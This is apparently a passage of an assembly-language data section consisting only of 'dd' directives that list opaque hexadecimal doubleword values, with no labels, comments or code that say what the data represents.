dd 0D049CCE2h, 649FC721h, 12AFE220h, 90ACE41Bh, 3E56CAD0h
dd 7C30361Dh, 0E8803D40h, 90CFEA03h, 0A11C80E4h, 0C90A1ADh
dd 0F44401FEh, 3B016DEh, 0D5EAC6D8h, 66B197CCh, 1D70237Fh
dd 943A5F20h, 0CDBC368Dh, 6C34E118h, 5101F120h, 0B7F4446Bh
dd 0A5C601C0h, 39AA6B2h, 1EAEF6D8h, 0C05079E9h, 67EEF53Ah
dd 0EC9CD25Ch, 0C8814364h, 4A087999h, 68914499h, 8C70C202h
dd 0E8EE34E5h, 8078663Ch, 0FB191C41h, 18C6D4h, 5A455DD9h
dd 3B7920B5h, 22C8680Fh, 6C9D60CFh, 167D43F5h, 8D8A2B1h
dd 3797D6ACh, 0A80E5820h, 0F700082h, 60852E64h, 48904826h
dd 0D08C0252h, 0AE21FCh, 0B0CA9C50h, 0D6482280h, 8B5C2FC8h
dd 8A0418D8h, 39FB00EDh, 0E20702DFh, 6F13580Fh, 5420F026h
dd 80E69CF7h, 0F18480CDh, 5688BC38h, 78AE9E87h, 2DEB44F0h
dd 0ADC100E1h, 0BAC88EF7h, 0F8B5FEEAh, 8059046Eh, 0C1557292h
dd 3197D4E8h, 85CC4734h, 0D20C03Eh, 5653E181h, 7A3D8444h
dd 442E9A22h, 4349693Bh, 60C4C850h, 9085B53Ch, 0D00C8E2h
dd 0AC04A6ABh, 877E694Ch, 729F1102h, 0E625781Bh, 0A1F07B1Ch
dd 4062FDA6h, 46782D04h, 4A08D1C5h, 88E10843h, 749979F4h
dd 924EBA88h, 52581EFAh, 40841EE1h, 0F3B5A64h, 0C7268B4Eh
dd 9E0858BFh, 56486568h, 2C4C8DE4h, 42507C44h, 0CC99AF3Ch
dd 7ECB8840h, 0E42C002Bh, 4E91B90Bh, 0E70536EEh, 4261A4B4h
dd 60042C81h, 0B6055C61h, 0D2083440h, 24680247h, 4488872Dh
dd 0AFA8C24Eh, 867928E4h, 78315100h, 9A9F32C4h, 8CA40BB1h
dd 488435FEh, 216D3261h, 3644CEB0h, 2BD41298h, 8CBFDC02h
dd 0EE98898Ah, 9C434CB0h, 0C6AEC800h, 0ADC718A4h, 485B7300h
dd 0F021BA36h, 5A790049h, 92BD9523h, 5F09CBF5h, 2AF7844h
dd 0E6D62724h, 0AE7207F4h
dd 707CB6D7h, 69FE0198h, 92D26300h, 48B2BEA5h, 39DD0C70h
dd 8D08BBBCh, 0F9622F00h, 4795E072h, 1E4100AAh, 3EBCC3FFh
dd 6F3A8C6Bh, 0A9CA0DDh, 0FD54DB39h, 0A2890097h, 68C8CA6Bh
dd 92852603h, 993EE7h, 0F8D5C429h, 4731DF5Ch, 56006978h
dd 0F26B16EBh, 0EC351F79h, 2D2F16F7h, 4AAA0010h, 439EBCAEh
dd 467E9F0Eh, 0F602DDACh, 43B4FC28h, 6758039Bh, 105B700Bh
dd 2E0D5FE8h, 1400CE7Eh, 38BF2031h, 18B4AA0Eh, 308BF768h
dd 0E6001C19h, 5A4AE47h, 1FE03Dh, 0AA13F3F2h, 52BC1BB2h
dd 4E513Dh, 0ECBE92Ah, 15C02F5h, 274D2387h, 0F4D9EB2Dh
dd 0EF00D674h, 8816BBBh, 0CDA2FCEh, 0AB3E3D0Ah, 1C0FA2F1h
dd 0A7117003h, 0E440498Eh, 0B71718h, 2F616878h, 1F6CE797h
dd 0E6BC5454h, 6F08CC60h, 729447h, 6BBC5524h, 5A9C347Ch
dd 0F1990E28h, 3E4F090Ah, 1480DC3Fh, 0A31626B2h, 606A00EEh
dd 8123A98Ch, 9803010Dh, 52789533h, 0DBA790B2h, 0EEAC1F2Fh
dd 0A02A21h, 0CEA370DEh, 0B4048932h, 0ADF01F54h, 4EE0D107h
dd 808E1D98h, 0A5AAA908h, 5F101A4h, 0C2752502h, 2491C9C5h
dd 44845A24h, 99000648h, 177AAAACh, 1E1053AEh, 410D1BDCh
dd 0A63E839Ch, 738042DDh, 5D43B421h, 261881BEh, 3C0F1949h
dd 149AD4A1h, 0D5E19430h, 614A0030h, 0C24C1633h, 341C1A06h
dd 0A9C04D62h, 0FC736F1Eh, 870616Ch, 41B4951Dh, 83729C0h
dd 10E384A1h, 981535Ch, 0B1C53556h, 84366802h, 0F1409C24h
dd 0B505518Ch, 0C446E7A0h, 7C00E3EEh, 57CE6CB1h, 90D10AD9h
dd 324F4344h, 9671E1E5h, 0B7094484h, 3EE1D13Ch, 0B4F062BEh
dd 80BC453Fh, 0B902916Dh, 0B0054D26h, 8F763173h, 0D44405Fh
dd 0C088E3BEh, 9CC752A2h, 4B1CA053h, 0FEB8790h, 0C1DAB08Fh
dd 6008AF17h, 66A3202Fh, 6C293148h, 0E60CF028h, 78BC51E7h
dd 0AC00196h, 0C4C22585h, 0B4D88C1Ch, 4AB963h, 5A099774h
dd 0C2DF965Eh, 0BB86ED0Fh, 0DCAE2622h, 74E849h, 0B1626C52h
dd 2FD73383h, 9C2A219h, 8C41B8B1h, 0F00CD9Eh, 0D207B647h
dd 51D4E43Dh, 0E6AF0C83h, 0F4A40FF1h, 83401A04h, 5FACC7B8h
dd 43612118h, 84329B61h, 30BE1C44h, 0AC41A3ECh, 761B90F0h
dd 10E8918Ah, 386028h, 4CF16D3Dh, 4892FAD3h, 9A10B00Eh
dd 462D004Fh, 0A6A5775Ch, 444800EAh, 3F85E47Fh, 7400E63Dh
dd 751407D3h, 30B4EFCBh, 0FE184042h, 189276E0h, 51229B43h
dd 4DC96D42h, 52369C19h, 0C0826DD0h, 2407639Ch, 0CE647721h
dd 6414B1F0h, 327360B9h, 1FEC903Bh, 66E18B47h, 19198137h
dd 2268414Bh, 98423821h, 6714A41Bh, 47E35261h, 88834944h
dd 0C1026CB4h, 99880CDFh, 0ADBE80A6h, 0BB83CD5h, 3155F8DBh
dd 8930BC04h, 0F21D6C8h, 418064B4h, 5B7D06EDh, 0C648BCA3h
dd 1B9C83D4h, 93C615FAh, 1610C46Eh, 0C3A20CB6h, 48BE29C1h
dd 3D9F0CE0h, 149361EFh, 8CC018F8h, 0B52C1533h, 43537602h
dd 606D3CB8h, 84C31174h, 2D317761h, 4980D5E7h, 0BA747153h
dd 4C26C35Eh, 46885841h, 44B420CCh, 0FD2A4236h, 6C00C8F7h
dd 1054A4F4h, 39714B5Ch, 0FD1E64EAh, 6B9C3D45h, 8016592Eh
dd 887A0C1Dh, 70A8EEA2h, 4284A9B8h, 0FA88403Dh, 1CB54240h
dd 0DBAFAEC4h, 102B816Ch, 0CC68E85Dh, 4436F108h, 0BFE646A8h
dd 88B0061h, 0EB948F54h, 89002FB6h, 0BA838170h, 0FEC224FFh
dd 81449027h, 0AC10A3C0h, 5499E47Eh, 3D76E186h, 101543E9h
dd 0B5267081h, 0A88609C0h, 44174022h, 0AC4C5411h, 24B04CFEh
dd 0E7555CC2h, 0E8869090h, 0E200BBF8h, 825AE1CBh, 90876E12h
dd 345F4C46h, 42A8F2CAh, 0BC2797B5h, 0C2F68018h, 4796FF10h
dd 66D20F00h, 80379CF8h, 0BC7349D7h, 0B8086220h, 9E6BF4E6h
dd 44CD5686h, 222FE53Ch, 46B259Bh, 686D6D4h, 19BDBCh, 0F28AAB55h
dd 0EACDCC92h, 54E98901h, 0D39CFBFFh, 29806DF1h, 2CDCB66Eh
dd 0A1F82F59h, 0CE9AAC0Ah, 0EA04E043h, 0A0489177h, 0E4BE0F84h
dd 84EF888Ch, 436D5212h, 0B8EAF81Fh, 0AB504214h, 84CC7ACh
dd 0CB40BFB4h, 5993FBC0h, 5EF30618h, 4210242h, 0C276371Fh
dd 445C8B19h, 7B589AE8h, 4A1904A8h, 0EE8082EFh, 9226B410h
dd 0FE4D00F8h, 37D1C61Ch, 0D600E2A3h, 34A50643h, 2CF94F3h
dd 3C0ECEE0h, 68440F22h, 0D41E8615h, 91A521B4h, 5A317DCFh
dd 3D3E6162h, 77E93024h, 9FBA0028h, 8A16FC4Ah, 1F3F0840h
dd 55F70653h, 141C0BBh, 0C9F85C20h, 0DCAF8E01h, 0B1002334h
dd 40BF46D6h, 4CC77BCAh, 452EAD3Bh, 90ACA48Ch, 0B46B8B86h
dd 0EB83C70h, 40A9E8A0h, 64A1A466h, 3D08D511h, 4DBC246Ch
dd 9FE61078h, 9080B53Bh, 0F143A9Dh, 0EF00CF75h, 319BF5B8h
dd 3ADEB70Eh, 0B294E45Ch, 0BB18946Eh, 14CF4993h, 30A93800h
dd 0FA6CB3ACh, 6266002Bh, 0EF6853B0h, 23281465h, 0E143ACAEh
dd 0B2070B22h, 170EBA24h, 0A060FE7Dh, 8B68033Ch, 0A722B34Fh
dd 91083Eh, 283B8D72h, 11D0E0h, 9FBCC6CDh, 0DA64FC0h, 1297663h
dd 8A08005Bh, 722C5E52h, 3000C095h, 0D1C90BCDh, 73CC70Dh
dd 0B951C15Fh, 0B10AF332h, 0B04F3001h, 0A6666D24h, 4CC51180h
dd 83C69749h, 8FEC1400h, 470E156Ch, 0C24B17D3h, 45B70317h
dd 81BE06A6h, 3CC88E06h, 60AC43h, 311C3BB1h, 0DE587761h
dd 92699501h, 4C8F3544h, 181862E8h, 7082C8EAh, 11008DB3h
dd 0EC05AD91h, 15016E21h, 3423C273h, 885D7444h, 20007DBDh
dd 0A65E4022h, 0C0F32DA0h, 9D0425Ch, 0E27B5A25h, 0AAEFC03Fh
dd 9179AC07h, 1169C81Ch, 0E0D97401h, 51BA4ECCh, 6AD79E0Ch
dd 0E8C8AA96h, 616264CFh, 2201BCE3h, 0A11980D6h, 4BAE65E9h
dd 90A20187h, 4903823Eh, 2C6ACC46h, 0AFFA3500h, 0CA0D7073h
dd 0E6D73BB4h, 9DA72B07h, 0CE8040A0h, 0B000917Dh, 90629FCFh
dd 5003A6EDh, 88447CBEh, 7D062450h, 7312F3E4h, 22DB43A8h
dd 33B24075h, 4884BD40h, 0EF80103Dh, 41E4F4CDh, 15243001h
dd 69E0BDF8h, 0A88C4020h, 1F6AB1C8h, 62529EEh, 198B35A1h
dd 0A6E93EC1h, 6980890Bh, 0AA3BB8B5h, 25805535h, 315C888Ch
dd 86399B6Fh, 3A19483Bh, 0AA40AE66h, 27E46200h, 0C23BC6E6h
dd 0D48C0228h, 0CDD67B45h, 8F34E681h, 1EEFCA6h, 0AD416060h
dd 3E2493CCh, 89F5CBDh, 0A241C0B1h, 846E0D8Fh, 59043702h
dd 9BD3C24Ch, 6A41E48Ch, 8E8E255Ch, 25F2AB99h, 0E420240Bh
dd 0E15BCCEBh, 720C8h, 0DBE52B93h, 0D4031874h, 79446B02h
dd 82694E3Dh, 13D2CBB0h, 124221ECh, 51663420h, 0C99FF8AAh
dd 0F1E44Ch, 9E6030EFh, 96541C5Ah, 7A01F56Ch, 0D6A9706Ah
dd 8FF40C62h, 16ACE631h, 1F022C38h, 72694045h, 0C3BF34ABh
dd 0D3A450E9h, 4700F33Ah, 0EE686B59h, 0A01D28C8h, 912684A0h
dd 0BBAC3B70h, 0DD580007h, 0CC2B78Ch, 0CC409361h, 8D61251Eh
dd 2A4BC0E0h, 0B90A051h, 0B259C85Fh, 3900E570h, 0EA58357Fh
dd 7F0BA3Bh, 1884E7A3h, 22710CC9h, 0BAA450F5h, 660092DDh
dd 62D2E37Ah, 3EFD6948h, 98FF2579h, 0A538A160h, 84A40208h
dd 0EE80DD00h, 0CF53105Dh, 1F88EC2Ch, 80A1C017h, 1A3A9FFFh
dd 0B8A4023Eh, 80A6303Bh, 0DC5D1466h, 41EED92h, 44D069D8h
dd 8A4C93FAh, 98A8F072h, 0A2491EA6h, 81928808h, 0CEC23DAAh
dd 0C8C1F789h, 74198087h, 162505F1h, 6EE301B5h, 0B86672A8h
dd 0D0EC403Eh, 5D245C02h, 8443A02Dh, 2617823h, 0E206BAEEh
dd 0BC87D8F3h, 8441AC3h, 0A0B2D60Ah, 8C1829A5h, 98000D79h
dd 23423195h, 594E40h, 37C61987h, 29165003h, 3B5D092Eh
dd 835CF90Eh, 0B85B4120h, 2FD287h, 5962BA6Bh, 0CE65ABCAh
dd 95827200h, 8AFC75A7h, 194700B5h, 0B69F0187h, 1B0E22C7h
dd 4038B334h, 0F1BA71C9h, 0C4D1005Fh, 0C04A32BFh, 8001547h
dd 0DC70D9A8h, 8FE036h, 0D56CE6A0h, 6769881Ch, 0B0AE0907h
dd 52207519h, 5CA608E5h, 0F00089B5h, 586CD51Fh, 1004C51h
dd 0FF1DF9B7h, 1B109F05h, 8A4A887h, 0F82E3DE8h, 1F045000h
dd 0E40E56EDh, 9FB71E06h, 9EB68D1Dh, 21FBE728h, 79F7C11Bh
dd 9088E008h, 0AFA006Fh, 6C5748F4h, 980069AFh, 939597DAh
dd 0CB82CCBh, 0DD7C7A16h, 9831AA71h, 3A04175h, 25F59180h
dd 0BC5BE859h, 0A7453D03h, 0F018EC7Eh, 3BC3932Ch, 7A0CF67Dh
dd 4849B382h, 0F1912060h, 0FD945Ah, 776D307Fh, 64F22F72h
dd 0E29BF300h, 0A570F7A7h, 270D0059h, 28D11206h, 0D00C23FAh
dd 0E8A11813h, 2BB588EAh, 894D9318h, 0C0FDA070h, 0BC570B19h
dd 443E53ABh, 45B000A1h, 0AA208A0Dh, 0D1816399h, 31788B7Ah
dd 0AD8FC100h, 4F6F4286h, 8462017Ch, 93A9FF71h, 447F0833h
dd 0ACA6BF89h, 0E39E6D00h, 5E15747h, 0A8FB00C8h, 825EA567h
dd 0F9C02446h, 2D04DB18h, 57B900EEh, 2E78FF54h, 0F000916Ah
dd 157151B6h, 486DEAB1h, 8D389329h, 0F79E590Eh, 0C1F969F8h
dd 0C0EE8107h, 247921A7h, 0FE401354h, 0A0230A11h, 184F370Fh
dd 990580FBh, 0DD130Fh, 0E4306EA2h, 0F77B104Bh, 889EA918h
dd 4F9459h, 31329C17h, 0E2D060B2h, 0DBB034FEh, 0A61B6E00h
dd 40498241h, 72A7BFCh, 0CF880E18h, 6768312Fh, 50BC48A1h
dd 68AF352Ch, 7E07FA07h, 8211A06Ah, 0B7A78F0Ch, 601F57B9h
dd 0BEED09h, 99F0C115h, 0A1DDD53h, 508083D4h, 71C0Ch, 751C0F6Ch
dd 970053FFh, 227EF3D4h, 0E1EAC81h, 2405A14Eh, 8098455h
dd 542F7B35h, 8A02A000h, 6A18F9F2h, 0C71904A1h, 5C21001Eh
dd 538D032Dh, 85006FADh, 3661807Bh, 0A913C76h, 1C4B920Fh
dd 9A370008h, 2261BE53h, 6E4E8000h, 70EC5734h, 0BF560029h
dd 27B30162h, 0C00FEE1h, 0FCC39183h, 917494A9h, 5D4439A0h
dd 0D6431200h, 4AA9B180h, 0E3540006h, 0E59F732h, 14F4826Ch
dd 830005E0h, 3A577FC7h, 3BA00961h, 0F78058E1h, 3B54D71Fh
dd 3C9836BEh, 6A4FFB00h, 5FCF203Ch, 1E0507FEh, 16F7CA88h
dd 0D874817Bh, 0BA0072F8h, 8025E8ABh, 4CA94623h, 0B78034A0h
dd 0B60CF5DCh, 0E8604101h, 0E5E7D2F0h, 296185DCh, 0FC4744Fh
dd 0EC1492A9h, 1D55F983h, 4064ECBAh, 54372322h, 0F23070h
dd 0D38E12F5h, 7578744Eh, 88974C00h, 2A8DA120h, 0DCAB54A8h
dd 5E4807B6h, 0A00302BBh, 92170CECh, 6F2CFC02h, 4347AEA1h
dd 0CB25E8E8h, 0ACE31024h, 0AEAA2216h, 488542F4h, 1882268h
dd 0DF23BD8Fh, 0E2A11369h, 1F05888h, 0A8DB2B77h, 0A41980A5h
dd 71286C7Ah, 89730495h, 0C04BCA54h, 202F0D50h, 82440898h
dd 7F25C93h, 46245738h, 1521C058h, 27AD1BAh, 48901C90h
dd 0B0B0914Ch, 0FAA306h, 495761D3h, 856E1574h, 2C1F3900h
dd 0B7B80FABh, 0A8271116h, 0B5DD00ADh, 3F83C233h, 461200F7h
dd 65D345F9h, 7300278Eh, 4F0B66E8h, 1230F20Eh, 30E15A20h
dd 7A759548h, 0BBE47600h, 0FBDEAF68h, 0E32A004Ch, 9C27CEDh
dd 3781D5Fh, 0A3A8A4A8h, 129D79C0h, 38A9682Bh, 0B854E9F7h
dd 48AB447Eh, 0A0831874h, 0A6A0A7h, 69FBFC35h, 257FEC9Bh
dd 0A83081E2h, 0F07531A9h, 738F045h, 8E7CDE0Ch, 1DD630F8h
dd 0B53AECF7h, 5306966Dh, 0A78A1007h, 133391Ch, 80214FCFh
dd 0C983FF5Eh, 4809ED1Ch, 125220A8h, 8A2902F0h, 88684B13h
dd 5E80F8FCh, 281FA788h, 7282B0C3h, 0A5C8C8ADh, 81DBF84h
dd 261F1018h, 840B28EEh, 3F46B3Bh, 76F74Ch, 0B5D20721h
dd 1E24C993h, 0C20752FEh, 4FA90DF8h, 0C81D8520h, 3BB6F03Ch
dd 7603C120h, 0C599C07Bh, 0D893580Ch, 0F0278004h, 38970C15h
dd 9F891D06h, 7C126F73h, 0C40F309Bh, 18280956h, 0D22054h
dd 0AAF65F39h, 3EAA4BAh, 171EF307h, 1FF21083h, 24C8404Eh
dd 3051D2DDh, 0AA330E10h, 0DE279E1Dh, 5AA76840h, 3D06A65Eh
dd 70EF9774h, 700408F2h, 5FC0AC80h, 0ECA7D5h, 6E889D98h
dd 0A958226Ah, 8FB49B48h, 1A474690h, 97710071h, 39599537h
dd 0DB0016D3h, 14254E90h, 0E8628263h, 61FB60A0h, 69A8C74Fh
dd 99A98612h, 0E9FBDC31h, 73F4B870h, 78380087h, 4130421Bh
dd 0C91DF720h, 485C5F16h, 0FE7F1070h, 966016Bh, 0D8170FA8h
dd 9218801Ch, 614636B9h, 0E04CEFC9h, 18173891h, 3900B1BBh
dd 51864E53h, 700314Ah, 0BDA6C133h, 0CA66BEh, 53509763h
dd 2FD62047h, 0D819BF00h, 3F8B160h, 1F0514DEh, 7788B423h
dd 0D700359Fh, 0A303B22Ch, 0AC971E80h, 0EA25404Bh, 0A5A0CF0Ah
dd 82709F5Ch, 43D612ABh, 10FE3F8h, 9B6DF319h, 0F06827B0h
dd 9009072h, 0A010778h, 48A0C62Fh, 8877F059h, 0CA00210Dh
dd 60C2F0D7h, 90D87703h, 534416C0h, 30A41A27h, 0AB00A0C6h
dd 0E769F75Ch, 587F53B8h, 8BA2E4C1h, 915B3848h, 70F40426h
dd 0E0BEFC8Fh, 0D19215AEh, 8CB94C3Ch, 22B6C517h, 0C4441DE8h
dd 0B7929912h, 79FFAC4Ch, 6DED0621h, 0A0C02028h, 1B509120h
dd 391F2B06h, 0A86C3040h, 9389A060h, 10C0B1Fh, 0D18AB2B9h
dd 20C71953h, 3881B74h, 69EF61A0h, 820F2606h, 79370819h
dd 0A046A2h, 62380692h, 0FA1FC389h, 213008A0h, 8593AA15h
dd 20270084h, 0FBE4917h, 654CB0ECh, 2AC9111h, 0B18A08DCh
dd 0C05C0C04h, 0E2DFB5F0h, 7D00AD0Bh, 0F5A9AAA2h, 3D9B5961h
dd 14934A3Ch, 0F47422BAh, 372C5885h, 57583880h, 0DCD002DBh
dd 6BFF784Dh, 533C1064h, 30C52670h, 481FB901h, 84345925h
dd 1C894C7Bh, 6116189Fh, 31E0B33Ch, 200562E0h, 0E14C9B26h
dd 1030B085h, 24464A1h, 4AC7F958h, 38806C01h, 67CF6157h
dd 53C1D61Fh, 92E15280h, 0C0E951D9h, 0B5D11F08h, 2D00719Bh
dd 37F5D860h, 2E5F7F98h, 6D52A89h, 697A3603h, 82F9C880h
dd 24E83C06h, 8340CA60h, 0C7408608h, 217176C8h, 0FC88AE09h
dd 15005229h, 0B264256Bh, 59A90Fh, 0A708DE87h, 0CDD73FBh
dd 6A97AA17h, 0B7881021h, 0D8524812h, 0CE0B9900h, 0F3F62A4Bh
dd 577E74h, 3469EC14h, 0D988414Eh, 1002FFAh, 5D47B8E3h
dd 0CB59B58Dh, 44937F90h, 0B0AC20E5h, 5800F98Eh, 5A558B2Fh
dd 3A93FD6Fh, 0FF81A6D0h, 62CE76BEh, 0F4CFD0B8h, 8B3EB47Bh
dd 0D21D01D1h, 8394A9B0h, 7821B181h, 2928ABFAh, 81F53A14h
dd 23E99568h, 6C606673h, 2A7CE00Ch, 9CC220Bh, 7D1C0499h
dd 2806D403h, 1D1299B6h, 3423FEFCh, 340A42Ah, 8F3C8835h
dd 21FCC530h, 6144482h, 6C830D02h, 84947801h, 53FEC240h
dd 3C7726h, 7ABB1F02h, 6A965D38h, 5694C610h, 0DD839701h
dd 70AA99BEh, 89F2CD80h, 296F5701h, 0EFAC2B84h, 0B07A860h
dd 8FA9CF8Ah, 2127E490h, 939AC016h, 0A0A4944Bh, 0C6B48FFCh
dd 302552DDh, 77C06C4Ch, 0DC4D1D28h, 2D52AB1Dh, 5FB9F040h
dd 32677622h, 0FF82949h, 88380720h, 0C88F213Fh, 5214790h
dd 7BFE0781h, 0B04132C3h, 41801D47h, 25CCF409h, 0AD1C35D1h
dd 0DD80115Ch, 0ECD95EC1h, 7F781B5Ah, 0FD819845h, 3E407482h
dd 4DB9F209h
dd 54DCC847h, 3F3E0E6h, 4012B1CAh, 46E8BE91h, 0A4241DCCh
dd 0A43ACC49h, 831C24F6h, 309AA51h, 9C031F37h, 2012750Ah
dd 0F8CDCF8Bh, 50EEB830h, 0F1E9948Fh, 1AF9189Eh, 840F9899h
dd 7B6E4C22h, 8C916562h, 23ED101Bh, 0FD4400E0h, 8D950BC7h
dd 51001EBDh, 0A280372Fh, 24EA34h, 4E3152B5h, 5F47C319h
dd 3B55C400h, 865C6980h, 8FE90161h, 70CA9BC2h, 61CFF357h
dd 0F0D31213h, 0E60FB092h, 0C2E83410h, 52A7906Dh, 49615C28h
dd 1A2ED700h, 0F6260869h, 0C02C2D01h, 8B9BFC39h, 0F7207024h
dd 32A17011h, 0B2E200C0h, 0A0FD91F4h, 4B2C0343h, 0E018075h
dd 0CB8B49A0h, 3C0A73Fh, 4369151Eh, 10A4AF20h, 6CA03494h
dd 9C868AAEh, 0A8715911h, 0E744A1C0h, 395E678h, 207DE042h
dd 0D890F809h, 7B0EFF72h, 0B4753757h, 0ACFCC1F4h, 39C80409h
dd 6C78B4h, 0D1880A28h, 4DEB46DFh, 85CFD20Ah, 84284493h
dd 9099C100h, 4F6FBFABh, 96A912C0h, 40942438h, 43610648h
dd 50030F63h, 7BBBE095h, 2D0AE8E3h, 7976187Ah, 1EE7986Fh
dd 0D891BE81h, 608A0E02h, 0D77C846Fh, 88157488h, 12002B89h
dd 4BE5919Dh, 4AC89328h, 7B5C0017h, 3AD670BAh, 80CDC10Bh
dd 0CA0485EEh, 4F8BF490h, 8EF1627h, 0F7BC32C0h, 0B4A67064h
dd 0D87008C0h, 1C5AA06h, 97F11FAFh, 3C4E87B9h, 4C837918h
dd 0EFC0B439h, 0F34C097Ch, 3411C400h, 0CB77821Dh, 0DC700019h
dd 56EBAE8Dh, 18134E8Eh, 0DC078A0Dh, 85AB970Fh, 0CA27BECh
dd 0CC8F834h, 0B7F91EC5h, 384A2500h, 589CEC86h, 97E602A4h
dd 57DB1978h, 7A37C881h, 0A8083459h, 14FEE802h, 64C38F83h
dd 43749628h, 97D1513Dh, 0C688D411h, 0BC124B0Fh, 96084C9h
dd 4C8810C4h, 0A9282D68h, 0B0AE04A0h, 923C76ECh, 39AC8114h
dd 0F7593512h, 1C38460h, 8828C2FBh, 60600723h, 54C1D08h
dd 162180F4h, 2339D55h, 7C896FD8h, 0EC702E57h, 2E7B9122h
dd 4330807Ah, 89489AAAh, 87B24F4h, 48449448h, 3EE3F0A4h
dd 6E04C4B2h, 0C524652Ah, 18C8080Ch, 0A9256CACh, 7AE80274h
dd 605948h, 98D274F9h, 0B701C243h, 0BB93EF6Ch, 206C9F28h
dd 340C5B00h, 0C48F4388h, 4B90D099h, 1CC8E53Ah, 0A17722C0h
dd 0B92CFEA2h, 60AF3BFh, 0C42A81Eh, 0D524C127h, 0A09D7CF4h
dd 0F898CD74h, 0CCA3175Ah, 1D7C70E2h, 7077065h, 8B8D7C39h
dd 76440B11h, 888F9C41h, 23879010h, 0C47A572Ch, 0CF10E2BEh
dd 34440970h, 5E2EF10Fh, 0A88E409Dh, 0E8EB69h, 0D589BF96h
dd 0F5A08224h, 0C2980C51h, 1C25B520h, 27520463h, 88C208F1h
dd 0D1011EA0h, 34BA7E83h, 8C39A82Bh, 0BE393A00h, 79DAEC4Fh
dd 0D123E02h, 62B7BFD4h, 0C37C8294h, 14A079A4h, 0F7A0E8A9h
dd 0CB00F0DAh, 2246A4ACh, 0A5359ECh, 0C308F227h, 20FA9040h
dd 9A883AB2h, 0FE4204Bh, 1232B89Dh, 29247085h, 0C4234184h
dd 70F8C08Eh, 17071F28h, 1A05BAD2h, 2106044Fh, 0C218B4h
dd 0E05A2061h, 595E8127h, 48C90900h, 0BFF645A6h, 37FC2E0Fh
dd 11219F70h, 0C39001Eh, 8ADA6B9Ah, 0CB1B07AAh, 201CCCA1h
dd 8E4F7FC3h, 0C826D113h, 5F738402h, 470527h, 0B47CD620h
dd 5D035409h, 0C5BDA646h, 8E660274h, 5CF31389h, 4007EC85h
dd 0FA6C7A78h, 4D24ED95h, 200034B4h, 18D9CBDFh, 0EB610276h
dd 827B6F7Dh, 0AA273CD2h, 10701395h, 45ABB58h, 2705DC03h
dd 481DBCC8h, 0B8830802h, 1978C8EEh, 5A7A3613h, 703D685Eh
dd 68F60201h, 135EBF95h, 0BCB386FCh, 40804460h, 8C796184h
dd 0A92F005Fh, 0ED75DF89h, 283D9793h, 0F7D1BAC0h, 80156100h
dd 6A0F1C4Fh, 0E3132684h, 883A0012h, 77B48BC9h, 6700D67Ch
dd 3C5F8028h, 0B2FB98F5h, 11BF05DFh, 13A68C04h, 0BA50309Dh
dd 70EBF8F7h, 2D00E6ECh, 7C1CC980h, 52FEEF6Eh, 0BE00C883h
dd 0BFB6D508h, 80A4011Dh, 0CAECAC10h, 8EAB0880h, 5478322Fh
dd 4050D248h, 1A242708h, 636F8C2Dh, 98222A6Dh, 18097B12h
dd 4978F7EEh, 4C00D316h, 0C85BB3DDh, 8F58A1h, 9278E391h
dd 6459BC3Ch, 0F8A6B8B0h, 59155137h, 40299782h, 18632CD4h
dd 19146280h, 31C07EF7h, 166B95A1h, 317E36h, 8D2CF611h
dd 8963D497h, 1DB990A0h, 58A0806h, 141DE24h, 6C32D070h
dd 0C4200F84h, 0D313AD4Eh, 6010EB7Bh, 22481840h, 97B131h
dd 0BBBA2B8Ah, 0C0F46C1Bh, 0CFA9C900h, 537C90A8h, 0E04F5FD2h
dd 0B900E73Ah, 94F3988Fh, 0F508474h, 58632451h, 0FAE2EBFh
dd 80ABA9B9h, 5375BC60h, 5879971Eh, 0D295D2h, 8A205927h
dd 41D4FD1Dh, 0E5785720h, 15010746h, 0DC62C983h, 0C0D78812h
dd 6F4F6EE4h, 80878C24h, 0B0FF806Fh, 98297112h, 1D2E44E0h
dd 6118FE35h, 132584A2h, 15005FD4h, 0E0C9EE5Ch, 0DD4E0068h
dd 0B6102E54h, 0DF09D71Dh, 1E438A7h, 6C9AA994h, 0B1297863h
dd 6BDB40A4h, 391CEB1Bh, 0D9C06D21h, 0F42F1274h, 0F2B90025h
dd 5EC031A2h, 10D8F11h, 0B87FA324h, 8A80F838h, 7482B91Bh
dd 0E562C00h, 7FA16DA8h, 0D3782CDEh, 9F890840h, 0CC915B81h
dd 421A2B7h, 5294AAC0h, 8A00B09Ah, 0C7CA1D70h, 49048FBFh
dd 0DDBA046Bh, 25F61482h, 3C28E4F7h, 95E77A00h, 37024478h
dd 18420082h, 0A66AE812h, 0CC249F1Fh, 7002F0EDh, 4030A4E1h
dd 7846D0DCh, 0B0050024h, 92123FBFh, 44E41FCFh, 8D57D302h
dd 70F7CA01h, 944752ACh, 6A7FA407h, 709B20BEh, 0B21D1C79h
dd 57C32673h, 0B392C43Ah, 2EE9DE4Ch, 9E70639Fh, 0E672C03Ch
dd 1FB5419Dh, 0E48C7E00h, 543FC19Bh, 42925AA9h, 0F64E273Ch
dd 0BFBDB7C0h, 8A336003h, 0C70634A2h, 212FAA4Ah, 68497334h
dd 9CCE4h, 0BEC05BFCh, 51484F20h, 0A508A21Ch, 0D42848E2h
dd 98476E00h, 90A9598Fh, 4E277644h, 5DE441A8h, 0CC6DB9E4h
dd 778D2B1h, 0E3ED1613h, 0FFA4804h, 0C2011851h, 0E790D9F9h
dd 0E47FD42Eh, 8E06DB04h, 1CD45447h, 1A78D3h, 781C7B04h
dd 0CEC0134Dh, 59F5C11Fh, 0F15184F8h, 74A68399h, 0ECB82A00h
dd 408171C6h, 0A707E700h, 89979886h, 3088A4B2h, 7317AF7h
dd 18006856h, 918CA4B4h, 3986575h, 0FCDDB2F6h, 9EB22B77h
dd 0D0C84872h, 11A4A618h, 0D7DC001Ch, 68896B72h, 0AC3C00A2h
dd 0C9168DF7h, 4CF29099h, 0AA21290Bh, 3590489Ch, 68BF4856h
dd 0CEA38710h, 75100Eh, 32179078h, 7FF05FDEh, 56410400h
dd 0CEF13489h, 5B3A7016h, 13A80037h, 506EDD09h, 0E2665503h
dd 88FC779Ah, 0B0383CB2h, 7A7B44A0h, 5C227E4Ah, 74061096h
dd 71847217h, 742A6497h, 43531A01h, 0CC3C9BAAh, 2DD81110h
dd 0DEBC2047h, 38ECF9FAh, 498053CCh, 0DC502E08h, 8B04DFC0h
dd 7D7A8F3Dh, 1BFD0A4h, 8EB20976h, 0DE8A2270h, 98A6E878h
dd 54BA7900h, 0A41A3453h, 9C74FCh, 372BD427h, 5035D2DFh
dd 0CD806C99h, 0A94143F4h, 31B4006Bh, 27753365h, 2F00D35Dh
dd 3A38FAB2h, 0C9A09981h, 0BC73EE88h, 433E8483h, 0C68EA016h
